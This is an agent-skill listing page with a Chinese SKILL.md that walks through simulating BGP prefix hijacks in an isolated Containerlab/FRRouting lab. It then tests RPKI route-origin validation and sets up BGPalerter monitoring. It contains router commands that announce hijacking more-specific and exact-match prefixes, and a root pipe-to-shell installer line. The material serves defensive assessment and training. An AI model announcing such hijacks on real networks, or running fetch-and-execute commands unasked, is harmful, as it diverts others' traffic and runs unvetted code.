# Exploiting Bgp Hijacking Vulnerabilities

> 在授权实验室环境中分析和模拟 BGP 路由劫持场景，评估路由来源验证、RPKI 部署以及针对互联网路由基础设施前缀劫持和路由泄漏攻击的 BGP 监控防御。

- Skill: `killvxk/exploiting-bgp-hijacking-vulnerabilities` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/exploiting-bgp-hijacking-vulnerabilities`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/exploiting-bgp-hijacking-vulnerabilities/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/exploiting-bgp-hijacking-vulnerabilities

---

# 利用 BGP 路由劫持漏洞

## 适用场景

- 评估组织对 BGP 前缀劫持（BGP prefix hijacking）和路由泄漏攻击（route leak attack）的暴露程度
- 测试 RPKI（资源公钥基础设施，Resource Public Key Infrastructure）部署和路由来源验证的有效性
- 验证 BGP 监控和告警系统能否检测未授权的路由通告
- 在隔离实验室环境中模拟 BGP 路由劫持，培训网络运营团队
- 评估 ISP 前缀过滤和路由来源授权（ROA）配置

**不适用场景**：对实际互联网执行 BGP 路由劫持；在未经授权的情况下针对 BGP 对等体；破坏真实互联网路由基础设施。对生产系统的 BGP 攻击是违法的，可能导致大规模互联网中断。

## 前置条件

- 使用 GNS3、EVE-NG 或 Containerlab 搭建的隔离 BGP 实验室环境，包含虚拟路由器（FRRouting、BIRD 或 Cisco IOS）
- 了解 BGP 路径属性、AS 路径、前缀通告和路由选择
- 访问 BGP Looking Glass 服务器和 RPKI 验证器，监控真实路由状态
- bgpstream、RIPEstat 和 BGPalerter 工具用于路由监控
- 任何涉及真实 AS 号或前缀通告的测试均需书面授权

## 工作流程

### 步骤 1：构建隔离 BGP 实验室环境

```bash
# 安装 Containerlab 用于 BGP 仿真
sudo bash -c "$(curl -sL https://get.containerlab.dev)"

# 创建 BGP 实验室拓扑文件
cat > bgp-lab.clab.yml << 'EOF'
name: bgp-hijack-lab
topology:
  nodes:
    # 合法 AS（AS65001）通告 10.0.0.0/24
    legitimate-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - legitimate-frr.conf:/etc/frr/frr.conf
    # 攻击者 AS（AS65002），将劫持该前缀
    attacker-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - attacker-frr.conf:/etc/frr/frr.conf
    # 转接提供商（AS65000），连接双方
    transit-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - transit-frr.conf:/etc/frr/frr.conf
    # 接收路由的受害者网络
    victim-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - victim-frr.conf:/etc/frr/frr.conf
  links:
    - endpoints: ["legitimate-router:eth1", "transit-router:eth1"]
    - endpoints: ["attacker-router:eth1", "transit-router:eth2"]
    - endpoints: ["transit-router:eth3", "victim-router:eth1"]
EOF

# 配置合法路由器（AS65001）
cat > legitimate-frr.conf << 'EOF'
frr defaults traditional
hostname legitimate-router
router bgp 65001
 bgp router-id 1.1.1.1
 neighbor 10.0.1.2 remote-as 65000
 address-family ipv4 unicast
  network 10.0.0.0/24
  neighbor 10.0.1.2 activate
 exit-address-family
!
interface eth1
 ip address 10.0.1.1/30
!
interface lo
 ip address 10.0.0.1/24
EOF

# 配置攻击者路由器（AS65002）——初始不通告该前缀
cat > attacker-frr.conf << 'EOF'
frr defaults traditional
hostname attacker-router
router bgp 65002
 bgp router-id 2.2.2.2
 neighbor 10.0.2.2 remote-as 65000
 address-family ipv4 unicast
  neighbor 10.0.2.2 activate
 exit-address-family
!
interface eth1
 ip address 10.0.2.1/30
EOF

# 部署实验室
sudo containerlab deploy -t bgp-lab.clab.yml
```

### 步骤 2：验证合法 BGP 路由

```bash
# 连接受害者路由器，验证到 10.0.0.0/24 的路由
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp"
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip route 10.0.0.0/24"

# 预期：路由经过 AS65000 AS65001（合法路径）
# 验证 traceroute 沿合法路径转发
docker exec -it clab-bgp-hijack-lab-victim-router traceroute 10.0.0.1

# 检查转接路由器上的 BGP 表
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24"
```

### 步骤 3：模拟前缀劫持（更精确路由）

```bash
# 在攻击者路由器上通告更精确的前缀
docker exec -it clab-bgp-hijack-lab-attacker-router vtysh << 'VTYSH'
configure terminal
router bgp 65002
 address-family ipv4 unicast
  network 10.0.0.0/25
  network 10.0.0.128/25
 exit-address-family
!
interface lo
 ip address 10.0.0.1/25
 ip address 10.0.0.129/25
exit
end
write memory
VTYSH

# 在受害者路由器上验证劫持
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp 10.0.0.0/24 longer-prefixes"

# 受害者现在应优先选择经过攻击者的 /25 路由
# 因为更精确路由在 IP 路由中始终优先
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip route 10.0.0.1"
# 预期：路由现在经过 AS65000 AS65002（攻击者）
```

### 步骤 4：模拟 AS 路径前置和来源劫持

```bash
# 来源劫持：攻击者通告完全相同的 /24 前缀
docker exec -it clab-bgp-hijack-lab-attacker-router vtysh << 'VTYSH'
configure terminal
router bgp 65002
 address-family ipv4 unicast
  network 10.0.0.0/24
  no network 10.0.0.0/25
  no network 10.0.0.128/25
 exit-address-family
end
write memory
VTYSH

# 检查受害者更偏好哪条路由
# 前缀长度相同时，AS 路径最短者优先
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp 10.0.0.0/24"
# 两条路由均可见，攻击者可能基于 AS 路径长度获胜

# 分析 BGP 路径选择如何决定胜者
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24 bestpath-compare"
```

### 步骤 5：测试 RPKI 路由来源验证

```bash
# 设置 RPKI 验证器（Routinator）
docker run -d --name routinator \
  -p 3323:3323 -p 8323:8323 \
  nlnetlabs/routinator:latest

# 配置转接路由器使用 RPKI 验证
docker exec -it clab-bgp-hijack-lab-transit-router vtysh << 'VTYSH'
configure terminal
rpki
 rpki cache 172.17.0.1 3323 preference 1
exit
!
route-map RPKI-FILTER permit 10
 match rpki valid
!
route-map RPKI-FILTER deny 20
 match rpki invalid
!
route-map RPKI-FILTER permit 30
 match rpki notfound
!
router bgp 65000
 address-family ipv4 unicast
  neighbor 10.0.2.1 route-map RPKI-FILTER in
 exit-address-family
end
write memory
VTYSH

# 验证 RPKI 状态
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show rpki prefix-table"
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24"
# 如果存在 ROA，攻击者的通告应被标记为 RPKI Invalid
```

### 步骤 6：监控和检测 BGP 异常

```bash
# 安装 BGPalerter 用于实时监控
npm install -g bgpalerter
bgpalerter generate -o /etc/bgpalerter

# 配置 BGPalerter 监控你的前缀
cat > /etc/bgpalerter/prefixes.yml << 'EOF'
10.0.0.0/24:
  description: 生产网络
  asn: 65001
  ignoreMorespecifics: false
  group: production
EOF

# 开始监控
bgpalerter

# 使用 bgpstream 查询历史路由数据
pip3 install pybgpstream

python3 << 'PYEOF'
import pybgpstream

# 查询历史前缀通告
stream = pybgpstream.BGPStream(
    from_time="2024-03-14 00:00:00",
    until_time="2024-03-15 00:00:00",
    collectors=["route-views2", "rrc00"],
    record_type="updates",
    filter="prefix more 10.0.0.0/24"
)

for rec in stream.records():
    for elem in rec:
        if elem.type == "A":  # 通告
            print(f"时间：{elem.time}")
            print(f"前缀：{elem.fields['prefix']}")
            print(f"AS 路径：{elem.fields['as-path']}")
            print(f"对等体：{elem.peer_asn}")
            print("---")
PYEOF

# 通过 RIPEstat 检查 RPKI 状态
curl -s "https://stat.ripe.net/data/rpki-validation/data.json?resource=AS65001&prefix=10.0.0.0/24" | python3 -m json.tool
```

## 核心概念

| 术语 | 定义 |
|------|------------|
| **BGP 路由劫持（BGP Hijacking）** | 不拥有 IP 前缀的 AS 对其进行未授权通告，将流量转向攻击者网络 |
| **更精确路由劫持（More-Specific Hijack）** | 通告比受害者更精确的前缀（更长的掩码），由于最长前缀匹配规则，这类前缀在 IP 路由中始终优先 |
| **RPKI（资源 PKI）** | 允许 IP 前缀持有者通过路由来源授权（ROA）授权特定 ASN 通告其路由的密码学框架 |
| **路由来源授权（ROA，Route Origin Authorization）** | 授权 AS 通告特定 IP 前缀的数字签名对象，支持基于 RPKI 的路由验证 |
| **AS 路径前置（AS Path Prepending）** | 在 AS 路径中添加重复 AS 号以降低路由优先级的 BGP 技术，也可防御性地用于对抗路由劫持 |
| **路由泄漏（Route Leak）** | BGP 路由通告超出其预期范围的传播，例如客户将转接提供商的路由重新通告给其他提供商 |

## 工具与系统

- **Containerlab**：使用 Docker 容器部署虚拟路由器拓扑的网络实验室编排工具
- **FRRouting（FRR）**：支持 BGP、OSPF、IS-IS 的开源路由套件，具备 RPKI 验证能力
- **BGPalerter**：实时 BGP 监控工具，检测前缀劫持、路由泄漏和 RPKI 状态变化
- **Routinator**：RPKI 依赖方软件，验证 ROA 并向路由器提供经验证的前缀来源数据
- **pybgpstream**：Python 库，用于分析来自 RouteViews 和 RIPE RIS 收集器的历史和实时 BGP 数据

## 常见场景

### 场景：评估组织的 BGP 路由劫持韧性

**背景**：某云托管公司（AS12345）为其面向客户的服务通告 203.0.113.0/24。他们需要评估自身对 BGP 路由劫持攻击的韧性，并验证 RPKI 部署的有效性。评估包括实验室仿真和真实世界监控验证。

**方法**：
1. 构建 Containerlab 拓扑，复制组织与两家上游 ISP 的 BGP 对等关系
2. 使用 RIPEstat 验证组织所有前缀的 ROA 记录已正确发布
3. 模拟来自流氓 AS 的更精确前缀劫持（/25），验证启用了 RPKI 验证的上游 ISP 丢弃无效路由
4. 模拟完全匹配的来源劫持，验证 RPKI ROV 将路由标记为无效
5. 测试客户 AS 重新通告提供商前缀的路由泄漏场景
6. 在生产环境部署 BGPalerter，持续监控未授权通告
7. 验证组织的 ISP 已正确配置前缀过滤（基于 IRR 和 RPKI）

**常见陷阱**：
- 在真实互联网基础设施而非隔离实验室环境中测试 BGP 路由劫持
- 假设 RPKI 可防止所有劫持——许多网络仍不验证 RPKI
- 未测试更精确前缀通告——如果 ROA 中未设置最大长度，此类通告可绕过来源验证
- 忽视路由泄漏场景——授权对等体可能无意间重新分发路由

## 输出格式

```
## BGP 安全评估报告

**组织**：Cloud Hosting Co.（AS12345）
**评估前缀**：203.0.113.0/24，198.51.100.0/24
**评估日期**：2024-03-15

### RPKI 状态

| 前缀 | ROA 存在 | 最大长度 | 来源 AS | 状态 |
|--------|-----------|------------|-----------|--------|
| 203.0.113.0/24 | 是 | /24 | AS12345 | 有效 |
| 198.51.100.0/24 | 否 | N/A | AS12345 | 未找到 |

### 实验室仿真结果

| 攻击类型 | RPKI 验证 | 结果 |
|-------------|-----------------|--------|
| 更精确 /25 劫持 | 已启用 | 被拦截（来源无效） |
| 更精确 /25 劫持 | 已禁用 | 成功（流量被转向） |
| 完全匹配来源劫持 | 已启用 | 被拦截（来源无效） |
| 客户路由泄漏 | 已启用 | 未拦截（来源有效，路径错误） |

### 建议
1. 为 198.51.100.0/24 创建 ROA（当前未受保护）
2. 在 ROA 中将最大长度设为 /24 以防止更精确前缀劫持
3. 请求上游 ISP 启用 RPKI 路由来源验证
4. 部署 BGPalerter 进行持续前缀监控
5. 向 IRR 数据库注册并向对等体申请前缀过滤
```

